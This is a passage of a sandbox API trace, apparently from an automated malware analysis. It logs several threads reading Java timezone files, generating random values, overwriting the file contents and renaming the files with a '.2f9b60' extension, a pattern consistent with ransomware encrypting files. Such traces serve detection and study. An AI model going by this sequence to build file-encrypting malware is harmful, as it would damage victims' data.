lpNewFilePointer=0x0) returned 1 [0167.806] WriteFile (in: hFile=0x2c04, lpBuffer=0x424e69f0*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x373bf714, lpOverlapped=0x0 | out: lpBuffer=0x424e69f0*, lpNumberOfBytesWritten=0x373bf714*=0x61, lpOverlapped=0x0) returned 1 [0184.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7370 [0184.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec73d0 [0184.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec73d0) returned 1 [0184.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424e69f0) returned 1 [0184.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424d79b0) returned 1 [0184.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0184.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b9d0) returned 1 [0184.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec73d0 [0184.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b9d0 [0184.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e410 [0184.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7400 [0184.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7400) returned 1 [0184.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cec7400 [0184.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7430 [0184.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7460 [0184.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7460) returned 1 [0184.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0184.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b9d0) returned 1 [0184.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x420552d0 [0184.565] SetFilePointerEx (in: hFile=0x2c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0184.566] WriteFile (in: hFile=0x2c04, lpBuffer=0x420552d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x373bf830, lpOverlapped=0x0 | out: lpBuffer=0x420552d0*, lpNumberOfBytesWritten=0x373bf830*=0x100, lpOverlapped=0x0) returned 1 [0188.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0188.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b430 [0188.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e10 [0188.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e10) returned 1 [0188.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x42c0e9e0 [0188.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e10 [0188.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e40 [0188.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e40) returned 1 [0188.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b430) returned 1 [0188.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0188.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x43134e40 [0188.439] sprintf (in: _Dest=0x43134e40, _Format="%c%c" | out: _Dest="86") returned 2 [0188.440] sprintf (in: _Dest=0x43134e42, _Format="%c%c" | out: _Dest="a1") returned 2 [0188.440] sprintf (in: _Dest=0x43134e44, _Format="%c%c" | out: _Dest="50") returned 2 [0188.440] sprintf (in: _Dest=0x43134e46, _Format="%c%c" | out: _Dest="03") returned 2 [0188.440] sprintf (in: _Dest=0x43134e48, _Format="%c%c" | out: _Dest="3e") returned 2 [0188.440] sprintf (in: _Dest=0x43134e4a, _Format="%c%c" | out: _Dest="ad") returned 2 [0188.440] sprintf (in: _Dest=0x43134e4c, _Format="%c%c" | out: _Dest="79") returned 2 [0188.440] sprintf (in: _Dest=0x43134e4e, _Format="%c%c" | out: _Dest="1a") returned 2 [0188.440] sprintf (in: _Dest=0x43134e50, _Format="%c%c" | out: _Dest="cf") returned 2 [0188.440] sprintf (in: _Dest=0x43134e52, _Format="%c%c" | out: _Dest="f8") returned 2 [0188.440] sprintf (in: _Dest=0x43134e54, _Format="%c%c" | out: _Dest="f5") returned 2 [0188.440] sprintf (in: _Dest=0x43134e56, _Format="%c%c" | out: _Dest="e8") returned 2 [0188.440] sprintf (in: _Dest=0x43134e58, _Format="%c%c" | out: _Dest="39") returned 2 [0188.440] sprintf (in: _Dest=0x43134e5a, _Format="%c%c" | out: _Dest="97") returned 2 [0188.440] RtlInitAnsiString (in: DestinationString=0x373bf8a8, SourceString="86a150033ead791acff8f5e83997" | out: DestinationString="86a150033ead791acff8f5e83997") [0188.440] RtlAnsiStringToUnicodeString (in: DestinationString=0x373bf878, SourceString="86a150033ead791acff8f5e83997", AllocateDestinationString=1 | out: DestinationString="86a150033ead791acff8f5e83997") returned 0x0 [0188.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5c830 [0188.441] RtlFreeAnsiString (AnsiString="8") [0188.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e40) returned 1 [0188.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c0e9e0) returned 1 [0188.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e10) returned 1 [0188.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420552d0) returned 1 [0188.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7400) returned 1 [0188.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7430) returned 1 [0188.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec73d0) returned 1 [0188.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7370) returned 1 [0188.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c185a0) returned 1 [0188.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b70) returned 1 [0188.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ba0) returned 1 [0188.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c23830 [0188.446] wcscat (in: _Dest=0x42c23830, _Source="86a1500" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86a1500") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86a1500" [0188.446] wcscat (in: _Dest=0x42c23830, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86a1500.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86a1500.2f9b60" [0188.446] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86a1500.2f9b60", NtPathName=0x373bf850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\86a1500.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.446] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050d420 Thread: id = 2826 os_tid = 0x1a28 [0159.930] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\khartoum")) returned 0x20 [0165.812] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum", dwFileAttributes=0x20) returned 1 [0167.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\khartoum"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c38 [0167.936] GetFileSizeEx (in: hFile=0x2c38, lpFileSize=0x1dd9fe20 | out: lpFileSize=0x1dd9fe20*=337) returned 1 [0167.936] SetFilePointerEx (in: hFile=0x2c38, liDistanceToMove=0x14d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.936] ReadFile (in: hFile=0x2c38, lpBuffer=0x1dd9fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dd9fde8, lpOverlapped=0x0 | out: lpBuffer=0x1dd9fda0*, lpNumberOfBytesRead=0x1dd9fde8*=0x4, lpOverlapped=0x0) returned 1 [0167.937] SetFilePointerEx (in: hFile=0x2c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18960 [0167.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c189c0 [0167.938] NtQuerySystemTime (in: CurrentTime=0x1dd9fce0 | out: CurrentTime=0x1dd9fce0*=132462177730582000) returned 0x0 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x15a0aefd [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x6b16ea1a [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x39787467 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x1ecb0cd2 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x1849e70b [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x3ad705f5 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x3213b511 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x77d1bdef [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x60f12dfe [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x1fa0379 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x7587d07d [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x5263fd13 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x2b88fd74 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x2f242db2 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x2924c7fd [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x6d1b0c3f [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0xa8ac90d [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x145355ae [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x78609b29 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x7df72ba3 [0167.938] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x61230e59 [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x21cd4206 [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x48f554e6 [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x7a18e971 [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x4589d930 [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x69e06011 [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x53807ffd [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x2f9f3d7f [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x5a8d854c [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x3937813d [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x42b6abf5 [0167.939] RtlRandomEx (in: Seed=0x1dd9fcd0 | out: Seed=0x1dd9fcd0) returned 0x5225c879 [0167.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188a0 [0167.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0167.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c188d0 [0167.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0167.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c189c0) returned 1 [0167.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c420 [0167.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0167.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424f9930 [0167.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424fd540 [0167.950] ReadFile (in: hFile=0x2c38, lpBuffer=0x424f9930, nNumberOfBytesToRead=0x151, lpNumberOfBytesRead=0x1dd9fcd0, lpOverlapped=0x0 | out: lpBuffer=0x424f9930*, lpNumberOfBytesRead=0x1dd9fcd0*=0x151, lpOverlapped=0x0) returned 1 [0167.950] SetFilePointerEx (in: hFile=0x2c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.950] WriteFile (in: hFile=0x2c38, lpBuffer=0x424fd540*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x1dd9fcd4, lpOverlapped=0x0 | out: lpBuffer=0x424fd540*, lpNumberOfBytesWritten=0x1dd9fcd4*=0x151, lpOverlapped=0x0) returned 1 [0180.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9410 [0180.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94a0 [0180.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94a0) returned 1 [0180.540] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424fd540) returned 1 [0180.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424f9930) returned 1 [0180.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0180.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c420) returned 1 [0180.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdd94a0 [0180.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c420 [0180.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0180.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9620 [0180.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9620) returned 1 [0180.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdd9620 [0180.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd95f0 [0180.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9530 [0180.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9530) returned 1 [0180.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0180.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c420) returned 1 [0180.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x423a8c60 [0180.546] SetFilePointerEx (in: hFile=0x2c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.546] WriteFile (in: hFile=0x2c38, lpBuffer=0x423a8c60*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x1dd9fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423a8c60*, lpNumberOfBytesWritten=0x1dd9fdf0*=0x102, lpOverlapped=0x0) returned 1 [0184.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0184.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0184.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d7c0 [0184.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0184.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f90 [0184.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f90) returned 1 [0184.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42c18f90 [0184.394] sprintf (in: _Dest=0x42c18f90, _Format="%c%c" | out: _Dest="41") returned 2 [0184.394] sprintf (in: _Dest=0x42c18f92, _Format="%c%c" | out: _Dest="8b") returned 2 [0184.394] sprintf (in: _Dest=0x42c18f94, _Format="%c%c" | out: _Dest="05") returned 2 [0184.394] sprintf (in: _Dest=0x42c18f96, _Format="%c%c" | out: _Dest="78") returned 2 [0184.394] sprintf (in: _Dest=0x42c18f98, _Format="%c%c" | out: _Dest="c8") returned 2 [0184.394] sprintf (in: _Dest=0x42c18f9a, _Format="%c%c" | out: _Dest="7c") returned 2 [0184.394] sprintf (in: _Dest=0x42c18f9c, _Format="%c%c" | out: _Dest="05") returned 2 [0184.395] sprintf (in: _Dest=0x42c18f9e, _Format="%c%c" | out: _Dest="d7") returned 2 [0184.395] sprintf (in: _Dest=0x42c18fa0, _Format="%c%c" | out: _Dest="86") returned 2 [0184.395] sprintf (in: _Dest=0x42c18fa2, _Format="%c%c" | out: _Dest="a3") returned 2 [0184.395] sprintf (in: _Dest=0x42c18fa4, _Format="%c%c" | out: _Dest="51") returned 2 [0184.395] sprintf (in: _Dest=0x42c18fa6, _Format="%c%c" | out: _Dest="60") returned 2 [0184.395] sprintf (in: _Dest=0x42c18fa8, _Format="%c%c" | out: _Dest="ba") returned 2 [0184.395] sprintf (in: _Dest=0x42c18faa, _Format="%c%c" | out: _Dest="c8") returned 2 [0184.395] sprintf (in: _Dest=0x42c18fac, _Format="%c%c" | out: _Dest="a4") returned 2 [0184.395] sprintf (in: _Dest=0x42c18fae, _Format="%c%c" | out: _Dest="be") returned 2 [0184.395] RtlInitAnsiString (in: DestinationString=0x1dd9fe68, SourceString="418b0578c87c05d786a35160bac8a4be" | out: DestinationString="418b0578c87c05d786a35160bac8a4be") [0184.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dd9fe38, SourceString="418b0578c87c05d786a35160bac8a4be", AllocateDestinationString=1 | out: DestinationString="418b0578c87c05d786a35160bac8a4be") returned 0x0 [0184.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97d00 [0184.396] RtlFreeAnsiString (AnsiString="4") [0184.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f90) returned 1 [0184.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d7c0) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8c60) returned 1 [0184.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9620) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd95f0) returned 1 [0184.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94a0) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9410) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18960) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188a0) returned 1 [0184.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c188d0) returned 1 [0184.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c23320 [0184.400] wcscat (in: _Dest=0x42c23320, _Source="418b0578" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\418b0578") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\418b0578" [0184.400] wcscat (in: _Dest=0x42c23320, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\418b0578.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\418b0578.2f9b60" [0184.400] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\418b0578.2f9b60", NtPathName=0x1dd9fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\418b0578.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050be20 Thread: id = 2827 os_tid = 0x1a54 [0160.247] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kigali")) returned 0x20 [0165.806] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali", dwFileAttributes=0x20) returned 1 [0166.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\kigali"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c28 [0167.888] GetFileSizeEx (in: hFile=0x2c28, lpFileSize=0x3811f800 | out: lpFileSize=0x3811f800*=65) returned 1 [0167.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18de0 [0167.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18d50 [0167.889] NtQuerySystemTime (in: CurrentTime=0x3811f6c0 | out: CurrentTime=0x3811f6c0*=132462177730114000) returned 0x0 [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x2d05d556 [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x9004df3 [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x7321ec [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x5462fedd [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x87d125a [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x3833c84a [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x74ea1db6 [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x58849f96 [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x1a1c0a91 [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x595f5190 [0167.889] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0xb31ad93 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x46acc72b [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x50fdcf82 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x4f9b6b71 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x69c9401c [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x5dd0b600 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x455e173d [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x374c4397 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x53dd5eb5 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x21898232 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x675333b6 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x47c793e9 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x430ed09a [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x10911734 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x3338c82e [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x57d6fb78 [0167.890] RtlRandomEx (in: Seed=0x3811f6b0 | out: Seed=0x3811f6b0) returned 0x4789e8e7 [0167.890] RtlRandomEx (in: 